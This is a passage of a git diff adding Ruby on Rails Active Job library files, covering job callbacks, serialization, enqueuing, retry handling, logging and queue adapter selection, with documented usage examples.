+  # * SerializationError - Error class for serialization errors.
+  class Base
+    include Core
+    include QueueAdapter
+    include QueueName
+    include QueuePriority
+    include Enqueuing
+    include Execution
+    include Callbacks
+    include Exceptions
+    include Logging
+    include Translation
+
+    ActiveSupport.run_load_hooks(:active_job, self)
+  end
+end
diff --git a/activejob/lib/active_job/callbacks.rb b/activejob/lib/active_job/callbacks.rb
new file mode 100644
index 0000000000..334b24fb3b
--- /dev/null
+++ b/activejob/lib/active_job/callbacks.rb
@@ -0,0 +1,155 @@
+# frozen_string_literal: true
+
+require "active_support/callbacks"
+
+module ActiveJob
+  # = Active Job Callbacks
+  #
+  # Active Job provides hooks during the life cycle of a job. Callbacks allow you
+  # to trigger logic during this cycle. Available callbacks are:
+  #
+  # * <tt>before_enqueue</tt>
+  # * <tt>around_enqueue</tt>
+  # * <tt>after_enqueue</tt>
+  # * <tt>before_perform</tt>
+  # * <tt>around_perform</tt>
+  # * <tt>after_perform</tt>
+  #
+  # NOTE: Calling the same callback multiple times will overwrite previous callback definitions.
+  #
+  module Callbacks
+    extend  ActiveSupport::Concern
+    include ActiveSupport::Callbacks
+
+    class << self
+      include ActiveSupport::Callbacks
+      define_callbacks :execute
+    end
+
+    included do
+      define_callbacks :perform
+      define_callbacks :enqueue
+    end
+
+    # These methods will be included into any Active Job object, adding
+    # callbacks for +perform+ and +enqueue+ methods.
+    module ClassMethods
+      # Defines a callback that will get called right before the
+      # job's perform method is executed.
+      #
+      #   class VideoProcessJob < ActiveJob::Base
+      #     queue_as :default
+      #
+      #     before_perform do |job|
+      #       UserMailer.notify_video_started_processing(job.arguments.first)
+      #     end
+      #
+      #     def perform(video_id)
+      #       Video.find(video_id).process
+      #     end
+      #   end
+      #
+      def before_perform(*filters, &blk)
+        set_callback(:perform, :before, *filters, &blk)
+      end
+
+      # Defines a callback that will get called right after the
+      # job's perform method has finished.
+      #
+      #   class VideoProcessJob < ActiveJob::Base
+      #     queue_as :default
+      #
+      #     after_perform do |job|
+      #       UserMailer.notify_video_processed(job.arguments.first)
+      #     end
+      #
+      #     def perform(video_id)
+      #       Video.find(video_id).process
+      #     end
+      #   end
+      #
+      def after_perform(*filters, &blk)
+        set_callback(:perform, :after, *filters, &blk)
+      end
+
+      # Defines a callback that will get called around the job's perform method.
+      #
+      #   class VideoProcessJob < ActiveJob::Base
+      #     queue_as :default
+      #
+      #     around_perform do |job, block|
+      #       UserMailer.notify_video_started_processing(job.arguments.first)
+      #       block.call
+      #       UserMailer.notify_video_processed(job.arguments.first)
+      #     end
+      #
+      #     def perform(video_id)
+      #       Video.find(video_id).process
+      #     end
+      #   end
+      #
+      def around_perform(*filters, &blk)
+        set_callback(:perform, :around, *filters, &blk)
+      end
+
+      # Defines a callback that will get called right before the
+      # job is enqueued.
+      #
+      #   class VideoProcessJob < ActiveJob::Base
+      #     queue_as :default
+      #
+      #     before_enqueue do |job|
+      #       $statsd.increment "enqueue-video-job.try"
+      #     end
+      #
+      #     def perform(video_id)
+      #       Video.find(video_id).process
+      #     end
+      #   end
+      #
+      def before_enqueue(*filters, &blk)
+        set_callback(:enqueue, :before, *filters, &blk)
+      end
+
+      # Defines a callback that will get called right after the
+      # job is enqueued.
+      #
+      #   class VideoProcessJob < ActiveJob::Base
+      #     queue_as :default
+      #
+      #     after_enqueue do |job|
+      #       $statsd.increment "enqueue-video-job.success"
+      #     end
+      #
+      #     def perform(video_id)
+      #       Video.find(video_id).process
+      #     end
+      #   end
+      #
+      def after_enqueue(*filters, &blk)
+        set_callback(:enqueue, :after, *filters, &blk)
+      end
+
+      # Defines a callback that will get called around the enqueueing
+      # of the job.
+      #
+      #   class VideoProcessJob < ActiveJob::Base
+      #     queue_as :default
+      #
+      #     around_enqueue do |job, block|
+      #       $statsd.time "video-job.process" do
+      #         block.call
+      #       end
+      #     end
+      #
+      #     def perform(video_id)
+      #       Video.find(video_id).process
+      #     end
+      #   end
+      #
+      def around_enqueue(*filters, &blk)
+        set_callback(:enqueue, :around, *filters, &blk)
+      end
+    end
+  end
+end
diff --git a/activejob/lib/active_job/configured_job.rb b/activejob/lib/active_job/configured_job.rb
new file mode 100644
index 0000000000..67daf48b36
--- /dev/null
+++ b/activejob/lib/active_job/configured_job.rb
@@ -0,0 +1,18 @@
+# frozen_string_literal: true
+
+module ActiveJob
+  class ConfiguredJob #:nodoc:
+    def initialize(job_class, options = {})
+      @options = options
+      @job_class = job_class
+    end
+
+    def perform_now(*args)
+      @job_class.new(*args).perform_now
+    end
+
+    def perform_later(*args)
+      @job_class.new(*args).enqueue @options
+    end
+  end
+end
diff --git a/activejob/lib/active_job/core.rb b/activejob/lib/active_job/core.rb
new file mode 100644
index 0000000000..c4e12fc518
--- /dev/null
+++ b/activejob/lib/active_job/core.rb
@@ -0,0 +1,140 @@
+# frozen_string_literal: true
+
+module ActiveJob
+  # Provides general behavior that will be included into every Active Job
+  # object that inherits from ActiveJob::Base.
+  module Core
+    extend ActiveSupport::Concern
+
+    included do
+      # Job arguments
+      attr_accessor :arguments
+      attr_writer :serialized_arguments
+
+      # Timestamp when the job should be performed
+      attr_accessor :scheduled_at
+
+      # Job Identifier
+      attr_accessor :job_id
+
+      # Queue in which the job will reside.
+      attr_writer :queue_name
+
+      # Priority that the job will have (lower is more priority).
+      attr_writer :priority
+
+      # ID optionally provided by adapter
+      attr_accessor :provider_job_id
+
+      # Number of times this job has been executed (which increments on every retry, like after an exception).
+      attr_accessor :executions
+
+      # I18n.locale to be used during the job.
+      attr_accessor :locale
+    end
+
+    # These methods will be included into any Active Job object, adding
+    # helpers for de/serialization and creation of job instances.
+    module ClassMethods
+      # Creates a new job instance from a hash created with +serialize+
+      def deserialize(job_data)
+        job = job_data["job_class"].constantize.new
+        job.deserialize(job_data)
+        job
+      end
+
+      # Creates a job preconfigured with the given options. You can call
+      # perform_later with the job arguments to enqueue the job with the
+      # preconfigured options
+      #
+      # ==== Options
+      # * <tt>:wait</tt> - Enqueues the job with the specified delay
+      # * <tt>:wait_until</tt> - Enqueues the job at the time specified
+      # * <tt>:queue</tt> - Enqueues the job on the specified queue
+      # * <tt>:priority</tt> - Enqueues the job with the specified priority
+      #
+      # ==== Examples
+      #
+      #    VideoJob.set(queue: :some_queue).perform_later(Video.last)
+      #    VideoJob.set(wait: 5.minutes).perform_later(Video.last)
+      #    VideoJob.set(wait_until: Time.now.tomorrow).perform_later(Video.last)
+      #    VideoJob.set(queue: :some_queue, wait: 5.minutes).perform_later(Video.last)
+      #    VideoJob.set(queue: :some_queue, wait_until: Time.now.tomorrow).perform_later(Video.last)
+      #    VideoJob.set(queue: :some_queue, wait: 5.minutes, priority: 10).perform_later(Video.last)
+      def set(options = {})
+        ConfiguredJob.new(self, options)
+      end
+    end
+
+    # Creates a new job instance. Takes the arguments that will be
+    # passed to the perform method.
+    def initialize(*arguments)
+      @arguments  = arguments
+      @job_id     = SecureRandom.uuid
+      @queue_name = self.class.queue_name
+      @priority   = self.class.priority
+      @executions = 0
+    end
+
+    # Returns a hash with the job data that can safely be passed to the
+    # queueing adapter.
+    def serialize
+      {
+        "job_class"  => self.class.name,
+        "job_id"     => job_id,
+        "provider_job_id" => provider_job_id,
+        "queue_name" => queue_name,
+        "priority"   => priority,
+        "arguments"  => serialize_arguments(arguments),
+        "executions" => executions,
+        "locale"     => I18n.locale.to_s
+      }
+    end
+
+    # Attaches the stored job data to the current instance. Receives a hash
+    # returned from +serialize+
+    #
+    # ==== Examples
+    #
+    #    class DeliverWebhookJob < ActiveJob::Base
+    #      def serialize
+    #        super.merge('attempt_number' => (@attempt_number || 0) + 1)
+    #      end
+    #
+    #      def deserialize(job_data)
+    #        super
+    #        @attempt_number = job_data['attempt_number']
+    #      end
+    #
+    #      rescue_from(TimeoutError) do |exception|
+    #        raise exception if @attempt_number > 5
+    #        retry_job(wait: 10)
+    #      end
+    #    end
+    def deserialize(job_data)
+      self.job_id               = job_data["job_id"]
+      self.provider_job_id      = job_data["provider_job_id"]
+      self.queue_name           = job_data["queue_name"]
+      self.priority             = job_data["priority"]
+      self.serialized_arguments = job_data["arguments"]
+      self.executions           = job_data["executions"]
+      self.locale               = job_data["locale"] || I18n.locale.to_s
+    end
+
+    private
+      def deserialize_arguments_if_needed
+        if defined?(@serialized_arguments) && @serialized_arguments.present?
+          @arguments = deserialize_arguments(@serialized_arguments)
+          @serialized_arguments = nil
+        end
+      end
+
+      def serialize_arguments(serialized_args)
+        Arguments.serialize(serialized_args)
+      end
+
+      def deserialize_arguments(serialized_args)
+        Arguments.deserialize(serialized_args)
+      end
+  end
+end
diff --git a/activejob/lib/active_job/enqueuing.rb b/activejob/lib/active_job/enqueuing.rb
new file mode 100644
index 0000000000..ad32d3065b
--- /dev/null
+++ b/activejob/lib/active_job/enqueuing.rb
@@ -0,0 +1,59 @@
+# frozen_string_literal: true
+
+require_relative "arguments"
+
+module ActiveJob
+  # Provides behavior for enqueuing jobs.
+  module Enqueuing
+    extend ActiveSupport::Concern
+
+    # Includes the +perform_later+ method for job initialization.
+    module ClassMethods
+      # Push a job onto the queue. The arguments must be legal JSON types
+      # (string, int, float, nil, true, false, hash or array) or
+      # GlobalID::Identification instances. Arbitrary Ruby objects
+      # are not supported.
+      #
+      # Returns an instance of the job class queued with arguments available in
+      # Job#arguments.
+      def perform_later(*args)
+        job_or_instantiate(*args).enqueue
+      end
+
+      private
+        def job_or_instantiate(*args) # :doc:
+          args.first.is_a?(self) ? args.first : new(*args)
+        end
+    end
+
+    # Enqueues the job to be performed by the queue adapter.
+    #
+    # ==== Options
+    # * <tt>:wait</tt> - Enqueues the job with the specified delay
+    # * <tt>:wait_until</tt> - Enqueues the job at the time specified
+    # * <tt>:queue</tt> - Enqueues the job on the specified queue
+    # * <tt>:priority</tt> - Enqueues the job with the specified priority
+    #
+    # ==== Examples
+    #
+    #    my_job_instance.enqueue
+    #    my_job_instance.enqueue wait: 5.minutes
+    #    my_job_instance.enqueue queue: :important
+    #    my_job_instance.enqueue wait_until: Date.tomorrow.midnight
+    #    my_job_instance.enqueue priority: 10
+    def enqueue(options = {})
+      self.scheduled_at = options[:wait].seconds.from_now.to_f if options[:wait]
+      self.scheduled_at = options[:wait_until].to_f if options[:wait_until]
+      self.queue_name   = self.class.queue_name_from_part(options[:queue]) if options[:queue]
+      self.priority     = options[:priority].to_i if options[:priority]
+      run_callbacks :enqueue do
+        if scheduled_at
+          self.class.queue_adapter.enqueue_at self, scheduled_at
+        else
+          self.class.queue_adapter.enqueue self
+        end
+      end
+      self
+    end
+  end
+end
diff --git a/activejob/lib/active_job/exceptions.rb b/activejob/lib/active_job/exceptions.rb
new file mode 100644
index 0000000000..dfc74deb1a
--- /dev/null
+++ b/activejob/lib/active_job/exceptions.rb
@@ -0,0 +1,124 @@
+# frozen_string_literal: true
+
+require "active_support/core_ext/numeric/time"
+
+module ActiveJob
+  # Provides behavior for retrying and discarding jobs on exceptions.
+  module Exceptions
+    extend ActiveSupport::Concern
+
+    module ClassMethods
+      # Catch the exception and reschedule job for re-execution after so many seconds, for a specific number of attempts.
+      # If the exception keeps getting raised beyond the specified number of attempts, the exception is allowed to
+      # bubble up to the underlying queuing system, which may have its own retry mechanism or place it in a
+      # holding queue for inspection.
+      #
+      # You can also pass a block that'll be invoked if the retry attempts fail for custom logic rather than letting
+      # the exception bubble up. This block is yielded with the job instance as the first and the error instance as the second parameter.
+      #
+      # ==== Options
+      # * <tt>:wait</tt> - Re-enqueues the job with a delay specified either in seconds (default: 3 seconds),
+      #   as a computing proc that the number of executions so far as an argument, or as a symbol reference of
+      #   <tt>:exponentially_longer</tt>, which applies the wait algorithm of <tt>(executions ** 4) + 2</tt>
+      #   (first wait 3s, then 18s, then 83s, etc)
+      # * <tt>:attempts</tt> - Re-enqueues the job the specified number of times (default: 5 attempts)
+      # * <tt>:queue</tt> - Re-enqueues the job on a different queue
+      # * <tt>:priority</tt> - Re-enqueues the job with a different priority
+      #
+      # ==== Examples
+      #
+      #  class RemoteServiceJob < ActiveJob::Base
+      #    retry_on CustomAppException # defaults to 3s wait, 5 attempts
+      #    retry_on AnotherCustomAppException, wait: ->(executions) { executions * 2 }
+      #    retry_on(YetAnotherCustomAppException) do |job, exception|
+      #      ExceptionNotifier.caught(exception)
+      #    end
+      #    retry_on ActiveRecord::Deadlocked, wait: 5.seconds, attempts: 3
+      #    retry_on Net::OpenTimeout, wait: :exponentially_longer, attempts: 10
+      #
+      #    def perform(*args)
+      #      # Might raise CustomAppException, AnotherCustomAppException, or YetAnotherCustomAppException for something domain specific
+      #      # Might raise ActiveRecord::Deadlocked when a local db deadlock is detected
+      #      # Might raise Net::OpenTimeout when the remote service is down
+      #    end
+      #  end
+      def retry_on(exception, wait: 3.seconds, attempts: 5, queue: nil, priority: nil)
+        rescue_from exception do |error|
+          if executions < attempts
+            logger.error "Retrying #{self.class} in #{wait} seconds, due to a #{exception}. The original exception was #{error.cause.inspect}."
+            retry_job wait: determine_delay(wait), queue: queue, priority: priority
+          else
+            if block_given?
+              yield self, exception
+            else
+              logger.error "Stopped retrying #{self.class} due to a #{exception}, which reoccurred on #{executions} attempts. The original exception was #{error.cause.inspect}."
+              raise error
+            end
+          end
+        end
+      end
+
+      # Discard the job with no attempts to retry, if the exception is raised. This is useful when the subject of the job,
+      # like an Active Record, is no longer available, and the job is thus no longer relevant.
+      #
+      # ==== Example
+      #
+      #  class SearchIndexingJob < ActiveJob::Base
+      #    discard_on ActiveJob::DeserializationError
+      #
+      #    def perform(record)
+      #      # Will raise ActiveJob::DeserializationError if the record can't be deserialized
+      #    end
+      #  end
+      def discard_on(exception)
+        rescue_from exception do |error|
+          logger.error "Discarded #{self.class} due to a #{exception}. The original exception was #{error.cause.inspect}."
+        end
+      end
+    end
+
+    # Reschedules the job to be re-executed. This is useful in combination
+    # with the +rescue_from+ option. When you rescue an exception from your job
+    # you can ask Active Job to retry performing your job.
+    #
+    # ==== Options
+    # * <tt>:wait</tt> - Enqueues the job with the specified delay in seconds
+    # * <tt>:wait_until</tt> - Enqueues the job at the time specified
+    # * <tt>:queue</tt> - Enqueues the job on the specified queue
+    # * <tt>:priority</tt> - Enqueues the job with the specified priority
+    #
+    # ==== Examples
+    #
+    #  class SiteScraperJob < ActiveJob::Base
+    #    rescue_from(ErrorLoadingSite) do
+    #      retry_job queue: :low_priority
+    #    end
+    #
+    #    def perform(*args)
+    #      # raise ErrorLoadingSite if cannot scrape
+    #    end
+    #  end
+    def retry_job(options = {})
+      enqueue options
+    end
+
+    private
+      def determine_delay(seconds_or_duration_or_algorithm)
+        case seconds_or_duration_or_algorithm
+        when :exponentially_longer
+          (executions**4) + 2
+        when ActiveSupport::Duration
+          duration = seconds_or_duration_or_algorithm
+          duration.to_i
+        when Integer
+          seconds = seconds_or_duration_or_algorithm
+          seconds
+        when Proc
+          algorithm = seconds_or_duration_or_algorithm
+          algorithm.call(executions)
+        else
+          raise "Couldn't determine a delay based on #{seconds_or_duration_or_algorithm.inspect}"
+        end
+      end
+  end
+end
diff --git a/activejob/lib/active_job/execution.rb b/activejob/lib/active_job/execution.rb
new file mode 100644
index 0000000000..85e050b489
--- /dev/null
+++ b/activejob/lib/active_job/execution.rb
@@ -0,0 +1,49 @@
+# frozen_string_literal: true
+
+require "active_support/rescuable"
+require_relative "arguments"
+
+module ActiveJob
+  module Execution
+    extend ActiveSupport::Concern
+    include ActiveSupport::Rescuable
+
+    # Includes methods for executing and performing jobs instantly.
+    module ClassMethods
+      # Performs the job immediately.
+      #
+      #   MyJob.perform_now("mike")
+      #
+      def perform_now(*args)
+        job_or_instantiate(*args).perform_now
+      end
+
+      def execute(job_data) #:nodoc:
+        ActiveJob::Callbacks.run_callbacks(:execute) do
+          job = deserialize(job_data)
+          job.perform_now
+        end
+      end
+    end
+
+    # Performs the job immediately. The job is not sent to the queueing adapter
+    # but directly executed by blocking the execution of others until it's finished.
+    #
+    #   MyJob.new(*args).perform_now
+    def perform_now
+      deserialize_arguments_if_needed
+      run_callbacks :perform do
+        # Guard against jobs that were persisted before we started counting executions by zeroing out nil counters
+        self.executions = (executions || 0) + 1
+
+        perform(*arguments)
+      end
+    rescue => exception
+      rescue_with_handler(exception) || raise
+    end
+
+    def perform(*)
+      fail NotImplementedError
+    end
+  end
+end
diff --git a/activejob/lib/active_job/gem_version.rb b/activejob/lib/active_job/gem_version.rb
new file mode 100644
index 0000000000..7ee61780e1
--- /dev/null
+++ b/activejob/lib/active_job/gem_version.rb
@@ -0,0 +1,17 @@
+# frozen_string_literal: true
+
+module ActiveJob
+  # Returns the version of the currently loaded Active Job as a <tt>Gem::Version</tt>
+  def self.gem_version
+    Gem::Version.new VERSION::STRING
+  end
+
+  module VERSION
+    MAJOR = 5
+    MINOR = 2
+    TINY  = 0
+    PRE   = "alpha"
+
+    STRING = [MAJOR, MINOR, TINY, PRE].compact.join(".")
+  end
+end
diff --git a/activejob/lib/active_job/logging.rb b/activejob/lib/active_job/logging.rb
new file mode 100644
index 0000000000..f53b7eaee5
--- /dev/null
+++ b/activejob/lib/active_job/logging.rb
@@ -0,0 +1,130 @@
+# frozen_string_literal: true
+
+require "active_support/core_ext/hash/transform_values"
+require "active_support/core_ext/string/filters"
+require "active_support/tagged_logging"
+require "active_support/logger"
+
+module ActiveJob
+  module Logging #:nodoc:
+    extend ActiveSupport::Concern
+
+    included do
+      cattr_accessor :logger, default: ActiveSupport::TaggedLogging.new(ActiveSupport::Logger.new(STDOUT))
+
+      around_enqueue do |_, block, _|
+        tag_logger do
+          block.call
+        end
+      end
+
+      around_perform do |job, block, _|
+        tag_logger(job.class.name, job.job_id) do
+          payload = { adapter: job.class.queue_adapter, job: job }
+          ActiveSupport::Notifications.instrument("perform_start.active_job", payload.dup)
+          ActiveSupport::Notifications.instrument("perform.active_job", payload) do
+            block.call
+          end
+        end
+      end
+
+      after_enqueue do |job|
+        if job.scheduled_at
+          ActiveSupport::Notifications.instrument "enqueue_at.active_job",
+            adapter: job.class.queue_adapter, job: job
+        else
+          ActiveSupport::Notifications.instrument "enqueue.active_job",
+            adapter: job.class.queue_adapter, job: job
+        end
+      end
+    end
+
+    private
+      def tag_logger(*tags)
+        if logger.respond_to?(:tagged)
+          tags.unshift "ActiveJob" unless logger_tagged_by_active_job?
+          logger.tagged(*tags) { yield }
+        else
+          yield
+        end
+      end
+
+      def logger_tagged_by_active_job?
+        logger.formatter.current_tags.include?("ActiveJob")
+      end
+
+      class LogSubscriber < ActiveSupport::LogSubscriber #:nodoc:
+        def enqueue(event)
+          info do
+            job = event.payload[:job]
+            "Enqueued #{job.class.name} (Job ID: #{job.job_id}) to #{queue_name(event)}" + args_info(job)
+          end
+        end
+
+        def enqueue_at(event)
+          info do
+            job = event.payload[:job]
+            "Enqueued #{job.class.name} (Job ID: #{job.job_id}) to #{queue_name(event)} at #{scheduled_at(event)}" + args_info(job)
+          end
+        end
+
+        def perform_start(event)
+          info do
+            job = event.payload[:job]
+            "Performing #{job.class.name} (Job ID: #{job.job_id}) from #{queue_name(event)}" + args_info(job)
+          end
+        end
+
+        def perform(event)
+          job = event.payload[:job]
+          ex = event.payload[:exception_object]
+          if ex
+            error do
+              "Error performing #{job.class.name} (Job ID: #{job.job_id}) from #{queue_name(event)} in #{event.duration.round(2)}ms: #{ex.class} (#{ex.message}):\n" + Array(ex.backtrace).join("\n")
+            end
+          else
+            info do
+              "Performed #{job.class.name} (Job ID: #{job.job_id}) from #{queue_name(event)} in #{event.duration.round(2)}ms"
+            end
+          end
+        end
+
+        private
+          def queue_name(event)
+            event.payload[:adapter].class.name.demodulize.remove("Adapter") + "(#{event.payload[:job].queue_name})"
+          end
+
+          def args_info(job)
+            if job.arguments.any?
+              " with arguments: " +
+                job.arguments.map { |arg| format(arg).inspect }.join(", ")
+            else
+              ""
+            end
+          end
+
+          def format(arg)
+            case arg
+            when Hash
+              arg.transform_values { |value| format(value) }
+            when Array
+              arg.map { |value| format(value) }
+            when GlobalID::Identification
+              arg.to_global_id rescue arg
+            else
+              arg
+            end
+          end
+
+          def scheduled_at(event)
+            Time.at(event.payload[:job].scheduled_at).utc
+          end
+
+          def logger
+            ActiveJob::Base.logger
+          end
+      end
+  end
+end
+
+ActiveJob::Logging::LogSubscriber.attach_to :active_job
diff --git a/activejob/lib/active_job/queue_adapter.rb b/activejob/lib/active_job/queue_adapter.rb
new file mode 100644
index 0000000000..dd05800baf
--- /dev/null
+++ b/activejob/lib/active_job/queue_adapter.rb
@@ -0,0 +1,66 @@
+# frozen_string_literal: true
+
+require "active_support/core_ext/string/inflections"
+
+module ActiveJob
+  # The <tt>ActiveJob::QueueAdapter</tt> module is used to load the
+  # correct adapter. The default queue adapter is the +:async+ queue.
+  module QueueAdapter #:nodoc:
+    extend ActiveSupport::Concern
+
+    included do
+      class_attribute :_queue_adapter_name, instance_accessor: false, instance_predicate: false
+      class_attribute :_queue_adapter, instance_accessor: false, instance_predicate: false
+      self.queue_adapter = :async
+    end
+
+    # Includes the setter method for changing the active queue adapter.
+    module ClassMethods
+      # Returns the backend queue provider. The default queue adapter
+      # is the +:async+ queue. See QueueAdapters for more information.
+      def queue_adapter
+        _queue_adapter
+      end
+
+      def queue_adapter_name
+        _queue_adapter_name
+      end
+
+      # Specify the backend queue provider. The default queue adapter
+      # is the +:async+ queue. See QueueAdapters for more
+      # information.
+      def queue_adapter=(name_or_adapter_or_class)
+        interpret_adapter(name_or_adapter_or_class)
+      end
+
+      private
+
+        def interpret_adapter(name_or_adapter_or_class)
+          case name_or_adapter_or_class
+          when Symbol, String
+            assign_adapter(name_or_adapter_or_class.to_s,
+                           ActiveJob::QueueAdapters.lookup(name_or_adapter_or_class).new)
+          else
+            if queue_adapter?(name_or_adapter_or_class)
+              adapter_name = "#{name_or_adapter_or_class.class.name.demodulize.remove('Adapter').underscore}"
+              assign_adapter(adapter_name,
+                             name_or_adapter_or_class)
+            else
+              raise ArgumentError
+            end
+          end
+        end
+
+        def assign_adapter(adapter_name, queue_adapter)
+          self._queue_adapter_name = adapter_name
+          self._queue_adapter = queue_adapter
+        end
+
+        QUEUE_ADAPTER_METHODS = [:enqueue, :enqueue_at].freeze
+
+        def queue_adapter?(object)
+          QUEUE_ADAPTER_METHODS.all? { |meth| object.respond_to?(meth) }
+        end
+    end
+  end
+end
diff --git a/activejob/lib/active_job/queue_adapters.rb b/activejob/lib/active_job/queue_adapters.rb
new file mode 100644
index 0000000000..c1a1d3c510
--- /dev/null
+++ b/activejob/lib/active_job/queue_adapters.rb
@@ -0,0 +1,139 @@
+# frozen_string_literal: true
+
+module ActiveJob
+  # == Active Job adapters
+  #
+  # Active Job has adapters for the following queueing backends:
+  #
+  # * {Backburner}[https://github.com/nesquena/backburner]
+  # * {Delayed Job}[https://github.com/collectiveidea/delayed_job]
+  # * {Qu}[https://github.com/bkeepers/qu]
+  # * {Que}[https://github.com/chanks/que]
+  # * {queue_classic}[https://github.com/QueueClassic/queue_classic]
+  # * {Resque}[https://github.com/resque/resque]
+  # * {Sidekiq}[http://sidekiq.org]
+  # * {Sneakers}[https://github.com/jondot/sneakers]
+  # * {Sucker Punch}[https://github.com/brandonhilkert/sucker_punch]
+  # * {Active Job Async Job}[http://api.rubyonrails.org/classes/ActiveJob/QueueAdapters/AsyncAdapter.html]
+  # * {Active Job Inline}[http://api.rubyonrails.org/classes/ActiveJob/QueueAdapters/InlineAdapter.html]
+  #
+  # === Backends Features
+  #
+  #   |                   | Async | Queues | Delayed    | Priorities | Timeout | Retries |
+  #   |-------------------|-------|--------|------------|------------|---------|---------|
+  #   | Backburner        | Yes   | Yes    | Yes        | Yes        | Job     | Global  |
+  #   | Delayed Job       | Yes   | Yes    | Yes        | Job        | Global  | Global  |
+  #   | Qu                | Yes   | Yes    | No         | No         | No      | Global  |
+  #   | Que               | Yes   | Yes    | Yes        | Job        | No      | Job     |
+  #   | queue_classic     | Yes   | Yes    | Yes*       | No         | No      | No      |
+  #   | Resque            | Yes   | Yes    | Yes (Gem)  | Queue      | Global  | Yes     |
+  #   | Sidekiq           | Yes   | Yes    | Yes        | Queue      | No      | Job     |
+  #   | Sneakers          | Yes   | Yes    | No         | Queue      | Queue   | No      |
+  #   | Sucker Punch      | Yes   | Yes    | Yes        | No         | No      | No      |
+  #   | Active Job Async  | Yes   | Yes    | Yes        | No         | No      | No      |
+  #   | Active Job Inline | No    | Yes    | N/A        | N/A        | N/A     | N/A     |
+  #
+  # ==== Async
+  #
+  # Yes: The Queue Adapter has the ability to run the job in a non-blocking manner.
+  # It either runs on a separate or forked process, or on a different thread.
+  #
+  # No: The job is run in the same process.
+  #
+  # ==== Queues
+  #
+  # Yes: Jobs may set which queue they are run in with queue_as or by using the set
+  # method.
+  #
+  # ==== Delayed
+  #
+  # Yes: The adapter will run the job in the future through perform_later.
+  #
+  # (Gem): An additional gem is required to use perform_later with this adapter.
+  #
+  # No: The adapter will run jobs at the next opportunity and cannot use perform_later.
+  #
+  # N/A: The adapter does not support queueing.
+  #
+  # NOTE:
+  # queue_classic supports job scheduling since version 3.1.
+  # For older versions you can use the queue_classic-later gem.
+  #
+  # ==== Priorities
+  #
+  # The order in which jobs are processed can be configured differently depending
+  # on the adapter.
+  #
+  # Job: Any class inheriting from the adapter may set the priority on the job
+  # object relative to other jobs.
+  #
+  # Queue: The adapter can set the priority for job queues, when setting a queue
+  # with Active Job this will be respected.
+  #
+  # Yes: Allows the priority to be set on the job object, at the queue level or
+  # as default configuration option.
+  #
+  # No: Does not allow the priority of jobs to be configured.
+  #
+  # N/A: The adapter does not support queueing, and therefore sorting them.
+  #
+  # ==== Timeout
+  #
+  # When a job will stop after the allotted time.
+  #
+  # Job: The timeout can be set for each instance of the job class.
+  #
+  # Queue: The timeout is set for all jobs on the queue.
+  #
+  # Global: The adapter is configured that all jobs have a maximum run time.
+  #
+  # N/A: This adapter does not run in a separate process, and therefore timeout
+  # is unsupported.
+  #
+  # ==== Retries
+  #
+  # Job: The number of retries can be set per instance of the job class.
+  #
+  # Yes: The Number of retries can be configured globally, for each instance or
+  # on the queue. This adapter may also present failed instances of the job class
+  # that can be restarted.
+  #
+  # Global: The adapter has a global number of retries.
+  #
+  # N/A: The adapter does not run in a separate process, and therefore doesn't
+  # support retries.
+  #
+  # === Async and Inline Queue Adapters
+  #
+  # Active Job has two built-in queue adapters intended for development and
+  # testing: +:async+ and +:inline+.
+  module QueueAdapters
+    extend ActiveSupport::Autoload
+
+    autoload :AsyncAdapter
+    autoload :InlineAdapter
+    autoload :BackburnerAdapter
+    autoload :DelayedJobAdapter
+    autoload :QuAdapter
+    autoload :QueAdapter
+    autoload :QueueClassicAdapter
+    autoload :ResqueAdapter
+    autoload :SidekiqAdapter
+    autoload :SneakersAdapter
+    autoload :SuckerPunchAdapter
+    autoload :TestAdapter
+
+    ADAPTER = "Adapter".freeze
+    private_constant :ADAPTER
+
+    class << self
+      # Returns adapter for specified name.
+      #
+      #   ActiveJob::QueueAdapters.lookup(:sidekiq)
+      #   # => ActiveJob::QueueAdapters::SidekiqAdapter
+      def lookup(name)
+        const_get(name.to_s.camelize << ADAPTER)
+      end
+    end
+  end
+end
diff --git a/activejob/lib/active_job/queue_adapters/async_adapter.rb b/activejob/lib/active_job/queue_adapters/async_adapter.rb
new file mode 100644
index 0000000000..eec9ae08bb
--- /dev/null
+++ b/activejob/lib/active_job/queue_adapters/async_adapter.rb
@@ -0,0 +1,116 @@
+# frozen_string_literal: true
+
+require "securerandom"
+require "concurrent/scheduled_task"
+require "concurrent/executor/thread_pool_executor"
+require "concurrent/utility/processor_counter"
+
+module ActiveJob
+  module QueueAdapters
+    # == Active Job Async adapter
+    #
+    # The Async adapter runs jobs with an in-process thread pool.
+    #
+    # This is the default queue adapter. It's well-suited for dev/test since
+    # it doesn't need an external infrastructure, but it's a poor fit for
+    # production since it drops pending jobs on restart.
+    #
+    # To use this adapter, set queue adapter to +:async+:
+    #
+    #   config.active_job.queue_adapter = :async
+    #
+    # To configure the adapter's thread pool, instantiate the adapter and
+    # pass your own config:
+    #
+    #   config.active_job.queue_adapter = ActiveJob::QueueAdapters::AsyncAdapter.new \
+    #     min_threads: 1,
+    #     max_threads: 2 * Concurrent.processor_count,
+    #     idletime: 600.seconds
+    #
+    # The adapter uses a {Concurrent Ruby}[https://github.com/ruby-concurrency/concurrent-ruby] thread pool to schedule and execute
+    # jobs. Since jobs share a single thread pool, long-running jobs will block
+    # short-lived jobs. Fine for dev/test; bad for production.
+    class AsyncAdapter
+      # See {Concurrent::ThreadPoolExecutor}[http://ruby-concurrency.github.io/concurrent-ruby/Concurrent/ThreadPoolExecutor.html] for executor options.
+      def initialize(**executor_options)
+        @scheduler = Scheduler.new(**executor_options)
+      end
+
+      def enqueue(job) #:nodoc:
+        @scheduler.enqueue JobWrapper.new(job), queue_name: job.queue_name
+      end
+
+      def enqueue_at(job, timestamp) #:nodoc:
+        @scheduler.enqueue_at JobWrapper.new(job), timestamp, queue_name: job.queue_name
+      end
+
+      # Gracefully stop processing jobs. Finishes in-progress work and handles
+      # any new jobs following the executor's fallback policy (`caller_runs`).
+      # Waits for termination by default. Pass `wait: false` to continue.
+      def shutdown(wait: true) #:nodoc:
+        @scheduler.shutdown wait: wait
+      end
+
+      # Used for our test suite.
+      def immediate=(immediate) #:nodoc:
+        @scheduler.immediate = immediate
+      end
+
+      # Note that we don't actually need to serialize the jobs since we're
+      # performing them in-process, but we do so anyway for parity with other
+      # adapters and deployment environments. Otherwise, serialization bugs
+      # may creep in undetected.
+      class JobWrapper #:nodoc:
+        def initialize(job)
+          job.provider_job_id = SecureRandom.uuid
+          @job_data = job.serialize
+        end
+
+        def perform
+          Base.execute @job_data
+        end
+      end
+
+      class Scheduler #:nodoc:
